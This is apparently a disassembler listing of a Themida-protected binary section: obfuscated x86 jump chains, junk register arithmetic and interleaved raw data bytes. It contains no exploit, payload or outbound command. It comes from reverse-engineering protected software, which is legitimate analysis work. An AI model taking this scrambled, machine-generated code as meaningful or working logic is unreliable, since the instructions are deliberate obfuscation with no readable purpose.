; ---------------------------------------------------------------------------


loc_50D635:				; CODE XREF: Themida_:0051975Ej
		mov	edi, [esp]
		add	esp, 4
		and	ecx, edx
		jmp	loc_50D6B4
; ---------------------------------------------------------------------------
aFpsM		db 'fPm',0
		dd 4C28100h, 0E9000000h, 0F1BAh, 5F2434FFh, 0A0E1E9h, 2685300h
		dd 0E9000000h, 7E03h
; ---------------------------------------------------------------------------


loc_50D668:				; CODE XREF: Themida_:00512AC5j
		mov	esi, [esp]
		jmp	loc_51B16F
; ---------------------------------------------------------------------------
		dd 53F0015Dh, 99673BBBh, 19B8E93Eh, 0C4810001h,	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 73E82590h
		add	dword ptr [esp+4], 19AD74FAh
		sub	dword ptr [esp+4], 6BDA7A99h
		jmp	loc_51312D
; ---------------------------------------------------------------------------


loc_50D6B4:				; CODE XREF: Themida_:0050D63Dj
		pop	edx
		jmp	loc_519C2E
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 49F934D3h, 0F28FED81h, 0F22D13F8h, 162F456h,	0F6B1E9E8h
		dd 0D3010000h, 36C1BF57h, 0DAE943C0h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50D6DF:				; CODE XREF: Themida_:0051B6C0j
		sub	ebx, 473F0047h
		push	eax
		push	edi
		push	ebp
		mov	ebp, 0ED649FD4h
		jmp	loc_510305
; ---------------------------------------------------------------------------
		dw 300Dh
		dd 35383D78h, 10F53311h, 0E8C1D8F7h, 7B354802h,	0E9086296h
		dd 0CD53h, 24048155h, 59520015h, 5124348Bh, 0C181E189h
		dd 4, 0E904C183h, 0FFFFF4A6h
; ---------------------------------------------------------------------------


loc_50D728:				; CODE XREF: Themida_:00515239j
		sub	ebx, 4
		jmp	loc_51DBEB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 24442904h, 53585804h, 1021A268h,	241C8B7Eh
		dd 12EA5E9h
		db 0
; ---------------------------------------------------------------------------


loc_50D74D:				; CODE XREF: Themida_:0050FD0Ej
		and	esi, 7E4C10D5h
		xor	esi, 1A7A579Fh
		sub	esi, 96DA4438h
		add	ebx, esi
		pop	esi
		add	ebx, ecx
		sub	ebx, 719C1396h
		jmp	loc_51CB42
; ---------------------------------------------------------------------------
		db 85h
		dd 6EE99CC8h, 66FFFFDEh, 6824048Bh, 5730h, 34E8E9h, 0E9D5F600h
		dd 0F585h, 81240C8Bh, 4ECh, 24048900h, 405E089h, 5000000h
		dd 4, 5C240487h, 60816866h, 24148966h, 0FFEC7DE9h, 24048FFFh
		dd 0FFF10FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50D7BD:				; CODE XREF: Themida_:0051374Bj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_51ECD8
		push	dword ptr [edi+1Ch]
		push	4916h
		mov	[esp], edi
		jmp	loc_520680
; ---------------------------------------------------------------------------


loc_50D7E5:				; CODE XREF: Themida_:00518876j
		pop	esp


loc_50D7E6:				; CODE XREF: Themida_:0050D8EEj
		push	1DE4h
		mov	[esp], ebx
		jmp	loc_519DD7
; ---------------------------------------------------------------------------
		db 81h
		dd 18A357C3h, 558F68A5h, 1C890000h, 24348124h, 2F5F7BB8h
		dd 0B8F6815Eh, 5B2F5F7Bh, 348BF301h, 4C48124h, 51000000h
		dd 35886855h, 0F75D19C0h, 73ED81D5h, 89E63FCAh,	77C5E9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50D832:				; CODE XREF: Themida_:00518793j
		xor	eax, 0E74079A7h
		and	ecx, eax
		pop	eax
		shr	ecx, 0Bh
		push	ebp
		push	5513h
		jmp	loc_510E9E
; ---------------------------------------------------------------------------


loc_50D848:				; CODE XREF: Themida_:0051BB32j
		neg	esi
		push	ebx
		jmp	loc_51D87F
; ---------------------------------------------------------------------------
		dd 0D5F7EA87h, 0B951EA87h, 6B634DA0h, 19D4E181h, 76E9489Bh
		dd 0FF00008Fh, 589D1C77h, 9C240411h, 1222EE9h, 4C48300h
		dd 31243C33h, 3C33243Ch, 24248B24h, 243CD366h, 0E694E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50D88E:				; CODE XREF: Themida_:0051DC0Aj
		push	ebp
		mov	ebp, esp
		jmp	loc_515857
; ---------------------------------------------------------------------------


loc_50D896:				; CODE XREF: Themida_:0051E136j
		pop	esp
		mov	[esp], ebx
		jmp	loc_51CB39
; ---------------------------------------------------------------------------
		db 68h
		dd 6822h, 54240C89h, 0B1FDE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50D8AE:				; CODE XREF: Themida_:005172D2j
		dec	eax
		push	edi
		mov	edi, 1A74B70h
		jmp	loc_51A780
; ---------------------------------------------------------------------------
		dw 487h
aSs_0		db '$\<$',0
		db 0
; ---------------------------------------------------------------------------


loc_50D8C7:				; CODE XREF: Themida_:00511AD0j
		push	edi
		mov	edi, 79D74ED9h
		sub	dword ptr [esp+4], 414C2FA3h
		sub	[esp+4], edi
		add	dword ptr [esp+4], 414C2FA3h
		pop	edi
		pop	edx
		add	edx, 79D74ED9h
		pop	eax
		and	[edi+1Ch], edx
		pop	edx
		jmp	loc_50D7E6
; ---------------------------------------------------------------------------
		db 0F7h
aHU		db 'hu',0
		align 2
		dw 3C89h
		dd 0C5BBBF24h, 0E3E98435h, 8BFFFFF1h, 57502424h, 9E0B4E68h
		dd 0EF815F18h, 1, 53DFF74Fh, 9A4585BBh,	81D3F741h, 91013DC3h
		dd 5AF38117h, 4B4D235Ch, 2364C381h, 0DF017FC8h,	5FF8895Bh
		dd 0E958C101h, 12CB9h
; ---------------------------------------------------------------------------


loc_50D944:				; CODE XREF: Themida_:0050D197j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_516C4B
; ---------------------------------------------------------------------------
aSc_0		db '^>',0
		align 2
		dw 0DEF7h
		dd offset dword_43BBE4+5
		db 0
; ---------------------------------------------------------------------------


loc_50D95D:				; CODE XREF: Themida_:0051CB8Dj
		sub	eax, 1
		push	edi
		push	ebp
		jmp	loc_50D568
; ---------------------------------------------------------------------------
aUsdq		db 'Uq',0
		db 0
; ---------------------------------------------------------------------------


loc_50D96F:				; CODE XREF: Themida_:00511005j
		pop	esi
		pop	ecx
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		jmp	loc_51A870
; ---------------------------------------------------------------------------


loc_50D97F:				; CODE XREF: Themida_:005124D2j
		xor	dword ptr [esp], 419F76FAh
		pop	ecx
		push	eax
		mov	eax, 22BF3031h
		jmp	loc_5177F6
; ---------------------------------------------------------------------------
		dw 0E7C0h
		dd 1EF8003h, 0C06FE780h, 0EF8002EFh, 5BFE3061h,	0F65AF408h
		dd 0CCC480DCh, 1AE9E328h, 810000CEh, 851C42F7h,	0E9FA2950h
		dd 0D966h, 4BFh, 0E9FB0100h, 52D2h, 8ACDC781h, 0D2E9EAE6h
		db 4, 1, 0
; ---------------------------------------------------------------------------


loc_50D9D7:				; CODE XREF: Themida_:00518EE8j
		mov	ecx, 0FFFFFFFFh
		jmp	loc_50EC3C
; ---------------------------------------------------------------------------


loc_50D9E1:				; CODE XREF: Themida_:00510E29j
		push	ebp
		jmp	loc_511B9B
; ---------------------------------------------------------------------------


loc_50D9E7:				; CODE XREF: Themida_:00514B6Ej
		xor	[esp], esi
		jmp	loc_512955
; ---------------------------------------------------------------------------
		db 81h
		dd 1C6h, 0F5B85000h, 0E95C7579h, 4A6Ch
; ---------------------------------------------------------------------------


loc_50DA00:				; CODE XREF: Themida_:005178E9j
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		not	edx
		add	edx, 1
		push	eax
		push	0F7BB9064h
		pop	eax
		xor	edx, eax
		pop	eax
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_518B8A
; ---------------------------------------------------------------------------
		dd 0E903E6C0h, 6CEEh, 0D3E3EA81h, 0D629B00Ch, 8324148Bh
		dd 0F50104C4h, 0D4EF815Eh, 1666C72h, 0D4C781EFh, 5D666C72h
		dd 4EC81h, 1C890000h, 2BB24h, 0DF010000h, 243C335Bh, 0E9243C31h
		dd 51DAh, 68243489h, 0E78h, 24048F54h, 4240483h, 0BA52575Eh
		dd 0DFB3B90h, 0FB3B94BFh, 5AD7310Dh, 34FFFE01h,	243C8B24h
		dd 5604C483h, 0C681E689h, 4, 65666857h,	3C8B69C1h, 5840E924h
		dd 21660000h, 0E99C2404h, 0FFFFDB15h, 158FE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50DAD6:				; CODE XREF: Themida_:005184B3j
		push	480Dh
		jmp	loc_50DF65
; ---------------------------------------------------------------------------
		dd 83242489h, 5A042404h, 8904EC83h, 4B9240Ch, 81000000h
		dd 263152C2h, 7AF5E963h, 0E9810000h, 635E1659h,	4759CF89h
		dd 45C2EF81h, 0E9535AB1h, 12338h, 68D830ACh, 2EE9h, 0B5240C89h
		dd 22B4508Bh, 0F604E4C0h, 7ECC0DCh, 8023EC80h, 0E500DFECh
		dd 8324048Bh, 46E904C4h, 51FFFFFCh, 0DBB33EB1h,	284FEB80h
		dd 4FC380CBh, 0E9CBFE59h, 133Ah
; ---------------------------------------------------------------------------


loc_50DB54:				; CODE XREF: Themida_:005104FAj
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	esp
		jmp	loc_50FAF9
; ---------------------------------------------------------------------------
aBxq		db 'q',8,0
		dd 0BDED8163h, 1EE37B3h, 0BA525DEBh, 28CA18D2h,	1DE9D329h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50DB7B:				; CODE XREF: Themida_:0050EF91j
		add	ebp, 7BFF7008h
		jmp	loc_50C3E8
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0BB535724h, 441E7074h, 0FFF9B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50DB95:				; CODE XREF: Themida_:005128A6j
		shr	ebx, 2
		neg	ebx
		shl	ebx, 6
		not	ebx
		sub	ebx, 0B8414CAAh
		jmp	loc_50CD8A
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 0FFED83E9h, 81DE01FFh, 0C172C9EEh, 0D8685B46h
		dd 89000030h, 4BB241Ch,	81000000h, 0D3839EEh, 0E9DE2973h
		dd 0DA24h, 42474FFh, 335BE9h, 0B8504200h, 27F81D3Ah, 0B2A9E9h
		dd 646D6800h, 1C890000h, 0C2ADE924h, 295A0000h,	2BE958C3h
		dd 68000023h, 0D80CA3h,	5F2434FFh, 81E28952h, 4C2h, 4BE5600h
		dd 1000000h, 14875EF2h,	0B9515C24h, 41775948h, 0E959CF31h
		dd 0FFFFFF7Ah
; ---------------------------------------------------------------------------


loc_50DC30:				; CODE XREF: Themida_:0050F496j
		sub	esi, 4
		jmp	loc_510F29
; ---------------------------------------------------------------------------
		dd 66C0B60Fh, 5324148Bh, 0B951E389h, 1CAA0907h,	57B1BF57h
		dd 0D1E96594h, 81FFFFEAh, 4C3h,	4EB8100h, 87000000h, 895C241Ch
		dd 0E789243Ch, 0A73AE9h, 0FDEA8100h, 1354B19h, 0FDC281EAh
		dd 8B354B19h, 0C483242Ch, 2BF28104h, 0E971552Bh, 29D3h
		dd 521919B9h, 59CD8927h, 0B8273CBBh, 5DEB3157h,	0B37DE9h
		dd 0C3BF5700h, 12C7934h, 65E95FFDh, 570000A5h, 2822BDBFh
		dd 0EC834F49h, 243C8904h, 3D3DE9h, 59CF0100h, 2BB53h, 0DF010000h
		dd 0E91EE95Bh, 0C581FFFFh, 4882CB03h, 286E953h,	56580001h
		dd 426B0ABEh, 1C6831Eh,	0FFE560E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50DCED:				; CODE XREF: Themida_:0051C26Aj
		push	7BF5h
		mov	[esp], esi
		jmp	loc_51E715
; ---------------------------------------------------------------------------


loc_50DCFA:				; CODE XREF: Themida_:0051B194j
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_512AD0
; ---------------------------------------------------------------------------
		db 58h,	89h, 0F8h
		dd 0E689565Fh, 4C681h, 7CE90000h
		db 0, 1, 0
; ---------------------------------------------------------------------------


loc_50DD17:				; CODE XREF: Themida_:0050CE19j
		push	52ABh
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		sub	ebp, 3A3F5655h
		add	ebp, esi
		add	ebp, 3A3F5655h
		pop	esi
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_520441
; ---------------------------------------------------------------------------
aVsN		db 'VN',0
		db 0
; ---------------------------------------------------------------------------


loc_50DD4D:				; CODE XREF: Themida_:00518A61j
		mov	ebp, ecx
		pop	ecx
		jmp	loc_50F3F6
; ---------------------------------------------------------------------------
		db 52h,	0B6h, 1Bh
		dd 306BB551h, 0F32859EEh, 16C8E95Ah, 248B0001h,	2434FF24h
		dd 0E9242C8Bh, 31D2h, 8086F180h, 0AFE9BCE1h, 81FFFFF8h
		dd 4C4h, 0F2815A00h, 10092Bh, 0C38158h,	81164D7Ch, 3B28BAEBh
		dd 0E9D3012Bh, 0E2FDh
; ---------------------------------------------------------------------------


loc_50DDA0:				; CODE XREF: Themida_:0050E3C8j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_515ED3
; ---------------------------------------------------------------------------
		align 10h
		dd 69B652E7h, 0CEFECEFEh, 0FEF2E680h, 915EE9C6h, 44010000h
		dd 5D580424h, 8904EC83h, 0BF572414h, 20630102h,	0EFC1DFF7h
		dd 0BBC78104h, 89FFF57Bh, 0CA815FFAh, 3E295CD9h, 4A42DAF7h
		dd 0A001F281h, 0ED81C010h, 7AA76D30h, 7334ED81h, 26E96230h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50DE03:				; CODE XREF: Themida_:0051AA81j
		add	edi, edx
		pop	edx
		sub	edi, 4D8671C0h
		add	edi, ebp
		add	edi, 4D8671C0h
		sub	edi, 6BB2736Bh
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_50D2AC
; ---------------------------------------------------------------------------


loc_50DE45:				; CODE XREF: Themida_:0051D1A5j
		push	ebx
		jmp	loc_519754
; ---------------------------------------------------------------------------
aI4HE		db '\4$hE',0
		align 4
		dd 68241C89h, 5AE75CADh, 51241C8Bh, 69E3E9h
		db 0
; ---------------------------------------------------------------------------


loc_50DE65:				; CODE XREF: Themida_:0051B47Aj
		push	ecx
		mov	ecx, 31576BE1h
		add	ecx, 0DA270B02h
		add	edx, ecx
		pop	ecx
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 2
		dd 89B40D2Eh, 0EA8159CAh, 20837E32h, 0C281DA01h, 20837E32h
		dd 5B2434FFh, 4C481h, 0D3010000h, 5A2434FFh, 0E9E28952h
		dd 0FFFFF5C2h, 0E92434FFh, 12DBAh, 4C681h, 0EE830000h
		dd 7AE95604h, 0F70000BCh, 0CC89E9D0h, 81430000h, 7C4F1C3h
		dd 0E9D83191h, 12708h, 4C181h, 4CE90000h
		db 19h,	1, 0
; ---------------------------------------------------------------------------


loc_50DEDF:				; CODE XREF: Themida_:00518B9Fj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_516ADA
; ---------------------------------------------------------------------------


loc_50DEEC:				; CODE XREF: Themida_:00519B8Fj
		mov	esp, [esp]
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_51C88A
; ---------------------------------------------------------------------------
		dw 2C04h
		dd 0E519E9h
		db 0
; ---------------------------------------------------------------------------


loc_50DF0D:				; CODE XREF: Themida_:00514F45j
		push	149h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_50F2B5
; ---------------------------------------------------------------------------


loc_50DF1C:				; CODE XREF: Themida_:00511FC7j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_51C9D1
; ---------------------------------------------------------------------------
		db 0B8h
		dd 33E743C4h, 8158C221h, 985D50EAh, 1FBD5577h, 8151AD10h
		dd 1C5h, 0D0F79500h, 0D50BE995h, 0C4830000h, 1E21E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50DF52:				; CODE XREF: Themida_:0051D870j
		pop	ebp
		not	esi
		not	esi
		push	eax
		push	ebx
		push	41927E9h
		pop	ebx
		inc	ebx
		jmp	loc_51666A
; ---------------------------------------------------------------------------


loc_50DF65:				; CODE XREF: Themida_:0050DADBj
		mov	[esp], ebx
		jmp	loc_50F220
; ---------------------------------------------------------------------------


loc_50DF6D:				; CODE XREF: Themida_:0050CF16j
		add	esp, 4
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		xor	esi, ebp
		xor	ebp, esi
		jmp	loc_51B294
; ---------------------------------------------------------------------------
aTxs		db 'TX}',0
		dd 4C48100h, 81000000h,	4ECh, 9EB9E900h, 0FF560000h, 5E042474h
		dd 8B24048Fh, 24892424h, 24048124h, 4, 5BBB535Dh, 0E9610A1Ch
		dd 9C95h, 71E9FE01h, 81000062h,	5CEACCEEh, 5EF12951h, 0E9240C87h
		dd 1A36h, 2D3FC381h, 0C8B5E6Dh,	0DF2FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50DFE2:				; CODE XREF: Themida_:0051E672j
		mov	[esp], ebx
		push	edi
		mov	edi, 34D52104h
		shl	edi, 8
		add	edi, 34C85B53h
		add	edi, 0F616A0B1h
		mov	ebx, edi
		jmp	loc_50CD61
; ---------------------------------------------------------------------------
		db 55h,	0FFh, 4
		dd 0C5815D24h, 10CFE6DFh, 815DEE29h, 50C74C6h, 0DB1DE967h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50E01A:				; CODE XREF: Themida_:0051A2DBj
		pop	ebx
		sub	ecx, ebx
		sub	ecx, 6EC371D4h
		pop	ebx
		dec	ecx
		push	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7DCF6622h
		mov	ebp, eax
		pop	eax
		jmp	loc_50CC0C
; ---------------------------------------------------------------------------
		db 5Ah,	87h, 1Ch
		dd 0C895C24h, 0F7DDB924h, 81E92D64h, 8B00003Fh,	0F662424h
		dd 8357C8B6h, 248904ECh, 24048124h, 4, 11FDE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50E066:				; CODE XREF: Themida_:0051F97Cj
		mov	edi, 19C03C84h
		not	edi
		jmp	loc_51CBA0
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 5EDC106h, 59DAC581h,	0E829240Bh, 2DA8E95Dh, 4050000h
		dd 83000000h, 48704E8h,	34895C24h, 2D35BE24h, 0C3E9106Ah
		dd 8000004Ch, 0B252CEC9h, 5AD12850h, 0AA47E9h
		db 0
; ---------------------------------------------------------------------------


loc_50E0AD:				; CODE XREF: Themida_:0051EECDj
		pop	ecx
		jmp	loc_515621
; ---------------------------------------------------------------------------
		db 83h
		dd 5F042404h, 4EC81h, 0E5E90000h, 5500003Ah, 0CC027DBDh
		dd 81D5F77Ch, 33FD80F5h, 0E9E90183h, 47ECh, 4BA52h, 0D7010000h
		dd 8124148Bh, 4C4h, 4EC8300h, 793BE9h, 4EC8100h, 89000000h
		dd 0B8502414h, 30DE4C16h, 97E9D0F7h, 810000A5h,	4C4h, 8BD80900h
		dd 0C483241Ch, 4B123504h, 0BF57660Ch, 0B007353Fh, 0B69CE9h
		dd 268AD00h, 0E900007Bh, 11DD8h, 0B25266ACh, 66D028B6h
		dd 2841045Ah, 0BBF2E9D8h, 0CF010000h, 0E71EE9h,	8BC82900h
		dd 8957240Ch, 4C781E7h,	52000000h, 0EB1672BAh, 68CA812Eh
		dd 0E95EB94Fh, 2B4Dh, 54614CB9h, 0E9CB892Dh, 12BABh, 582434FFh
		dd 8483E9h
		db 0
; ---------------------------------------------------------------------------


loc_50E17D:				; CODE XREF: Themida_:0050B5FBj
		push	ecx
		mov	cl, 6Dh
		jmp	loc_51C779
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0DA010000h, 2414335Bh, 84ECE9h
		db 0
; ---------------------------------------------------------------------------


loc_50E195:				; CODE XREF: Themida_:00514115j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_517958
; ---------------------------------------------------------------------------
		dd 0E906EBC1h, 8AB0h, 8B241487h, 0C8B2424h, 0BD685524h
		dd 89000069h, 4812424h,	424h, 0C5815D00h, 4, 94E1E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50E1CE:				; CODE XREF: Themida_:00520442j
		push	ecx
		jmp	loc_510B50
; ---------------------------------------------------------------------------


loc_50E1D4:				; CODE XREF: Themida_:00516F1Bj
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 2FE279A5h
		jmp	loc_5184B8
; ---------------------------------------------------------------------------
		db 81h
		dd 2C4h, 0F7F7E900h, 24890000h,	1774E924h, 81410001h, 2D0DCAE9h
		dd 0D1C98171h, 0C168E235h, 814905E9h, 0B5677EC1h, 59CD3166h
		dd 0E3FDE9h, 2434FF00h,	11560E9h
		db 0
; ---------------------------------------------------------------------------


loc_50E221:				; CODE XREF: Themida_:00518F84j
		mov	eax, 4
		mov	edx, eax
		jmp	loc_50BC39
; ---------------------------------------------------------------------------


loc_50E22D:				; CODE XREF: Themida_:0051A0E7j
		sub	ebx, 6A9F55B7h
		and	ebx, 21037E22h
		shr	ebx, 4
		dec	ebx
		jmp	loc_51291B
; ---------------------------------------------------------------------------
		dw 4481h
		dd 1560424h, 34FF679Eh,	7A8AE924h, 0F6810000h, 55085CEFh
		dd 0F1B5E9h, 240C8900h,	11945E9h, 241C8B00h, 5F04C483h
		dd 113F8E9h
		db 0
; ---------------------------------------------------------------------------


loc_50E271:				; CODE XREF: Themida_:00510377j
		add	eax, 6567278Eh
		not	eax
		jmp	loc_50C892
; ---------------------------------------------------------------------------


loc_50E27D:				; CODE XREF: Themida_:0051C862j
		shr	eax, 5
		sub	eax, 5DE7584Bh
		xor	eax, 0F1DE5813h
		add	edx, eax
		mov	eax, [esp]
		jmp	loc_51F347
; ---------------------------------------------------------------------------


loc_50E294:				; CODE XREF: Themida_:00515B57j
		shl	ch, 7
		shr	ch, 8
		push	edx
		mov	dl, 5
		jmp	loc_51C277
; ---------------------------------------------------------------------------
aFzsL		db 'fZ,',0
		dd 24048900h, 3E1285B8h, 0FFC2893Eh, 48B2434h, 0FA45E924h
		dd 0CB010000h, 6A25E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50E2C6:				; CODE XREF: Themida_:0051A5E3j
		add	eax, 0E89504Ah
		add	eax, 3DBC499Ch
		push	dword ptr [eax]
		jmp	loc_51A0EC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 0D303E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50E2E2:				; CODE XREF: Themida_:0051CFC5j
		pop	eax
		mov	ebp, [esp]
		jmp	loc_520D57
; ---------------------------------------------------------------------------


loc_50E2EB:				; CODE XREF: Themida_:0051581Aj
		pop	ebx
		add	eax, 4
		jmp	loc_518A43
; ---------------------------------------------------------------------------


loc_50E2F4:				; CODE XREF: Themida_:0051F94Fj
		push	dword ptr [esp]
		pop	edx
		jmp	loc_51C52D
; ---------------------------------------------------------------------------


loc_50E2FD:				; CODE XREF: Themida_:00515F3Dj
		sub	esp, 4
		jmp	loc_51FCDA
; ---------------------------------------------------------------------------
		dd 0E9FFC783h, 1EF3h
; ---------------------------------------------------------------------------


loc_50E310:				; CODE XREF: Themida_:0051A29Ej
		mov	[esp], eax
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_516F1A
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 81h
		dd 4C3h, 4C38100h, 0E9000000h, 8855h
; ---------------------------------------------------------------------------


loc_50E338:				; CODE XREF: Themida_:0051E708j
		not	ecx
		jmp	loc_513E4E
; ---------------------------------------------------------------------------


loc_50E33F:				; CODE XREF: Themida_:00511191j
		mov	esp, [esp]
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_51FB47
; ---------------------------------------------------------------------------
aIS		db '<$',0
aS_6		db '',0
		dd 4C48300h, 0D20BE9h
		db 0
; ---------------------------------------------------------------------------


loc_50E35D:				; CODE XREF: Themida_:00516465j
		push	edi
		mov	edi, 274E2A2Ah
		jmp	loc_50CFBB
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0EEE95452h, 510000EDh, 0ADE9F3B1h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50E37B:				; CODE XREF: Themida_:00514D38j
		mov	esi, ebx
		pop	ebx
		sub	ebp, esi
		pop	esi
		jmp	loc_51D29C
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FAB9E9h,	41E95F00h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50E397:				; CODE XREF: Themida_:0051D227j
		shr	eax, 12h
		xor	eax, ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_51332E
; ---------------------------------------------------------------------------


loc_50E3B0:				; CODE XREF: Themida_:005106E9j
		add	esp, 4
		shr	esi, 3
		sub	esi, 17FFEABCh
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_50DDA0
; ---------------------------------------------------------------------------


loc_50E3CD:				; CODE XREF: Themida_:0051BC79j
		mov	[ebx], ch
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	59CAh
		jmp	loc_51301E
; ---------------------------------------------------------------------------
		dw 54B3h
		dd 80AAC380h, 0C4041AC3h, 0C42CD800h, 240C8B5Bh, 0E9E18951h
		dd 5EA1h, 0D1A7E940h, 0FE010000h, 0E9F0295Fh, 74B2h, 0E9E9EB00h
		dd 8B000026h, 0B4E92404h, 33FFFFDAh, 1C31241Ch,	0ED1AE924h
		dd 6C05FFFFh, 0E9327CC8h, 57E9h
; ---------------------------------------------------------------------------


loc_50E430:				; CODE XREF: Themida_:0050FB02j
		push	ebx
		jmp	loc_50FDB1
; ---------------------------------------------------------------------------
		dw 0C668h
		dd 89000078h, 74FF243Ch, 34FF0424h, 243C8B24h, 0D4E5E956h
		dd 895C0000h, 98E92404h, 0AC0000BFh, 71A768h, 24148900h
		dd 6DE96CB6h, 890000EBh, 7BD242Ch, 81004400h, 763669EBh
		dd 0F7BFE905h, 0DD290000h, 1C6F095Bh, 53242C8Bh, 0FFEC34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50E489:				; CODE XREF: Themida_:0051A3B9j
		pop	ecx
		not	ecx
		xchg	ecx, edx
		xchg	edx, ebx
		xor	edi, ebx
		xor	ebx, edi
		xor	edi, ebx
		xchg	edi, [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_50EBF3
; ---------------------------------------------------------------------------
aZ4Hy		db '4$\hY~',0
		align 2
		dw 3489h
		dd 4BE24h, 0F2010000h, 0E957535Eh, 6C6Dh
; ---------------------------------------------------------------------------


loc_50E4D8:				; CODE XREF: Themida_:005210FAj
		push	4
		jmp	loc_51584F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 4C481h, 0E9510000h, 0A746h
; ---------------------------------------------------------------------------


loc_50E4F4:				; CODE XREF: Themida_:0050C1CDj
		push	edx
		mov	dl, 0F3h
		inc	dl
		xor	dl, 0EDh
		and	cl, dl
		pop	edx
		push	edx
		mov	dl, 70h
		jmp	loc_51E3CB
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0D4F4E924h, 0F8010000h, 7253685Fh, 34890000h
		dd 6633BE24h, 0F0215ACCh, 8324348Bh, 514004C4h,	0E59FE9h
		dd 0DDEB8000h, 8FACE9h,	89565800h, 4C681E6h, 0E9000000h
		dd 0FFFFE7B1h
; ---------------------------------------------------------------------------


loc_50E548:				; CODE XREF: Themida_:0051B656j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_519013
; ---------------------------------------------------------------------------


loc_50E55B:				; CODE XREF: Themida_:00519C9Fj
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 4A685B38h
		shr	edi, 8
		xor	edi, 14A685Bh
		and	eax, edi
		jmp	loc_5101C1
; ---------------------------------------------------------------------------
		dw 0C788h
		dd 0B7E9FA88h, 52000004h, 0BA1604BAh, 5AD3015Eh, 713CE9h
		db 0
; ---------------------------------------------------------------------------


loc_50E58D:				; CODE XREF: Themida_:0051D116j
		push	4C52h
		jmp	loc_50FB77
; ---------------------------------------------------------------------------
		db 0F7h
		dd 86E581DDh, 812F8242h, 0B45D6FC5h, 0EBF5811Bh, 140B69Dh
		dd 0FE95DEEh, 0BD000102h, 73C1173Dh, 4246C29h, 1AD5E95Dh
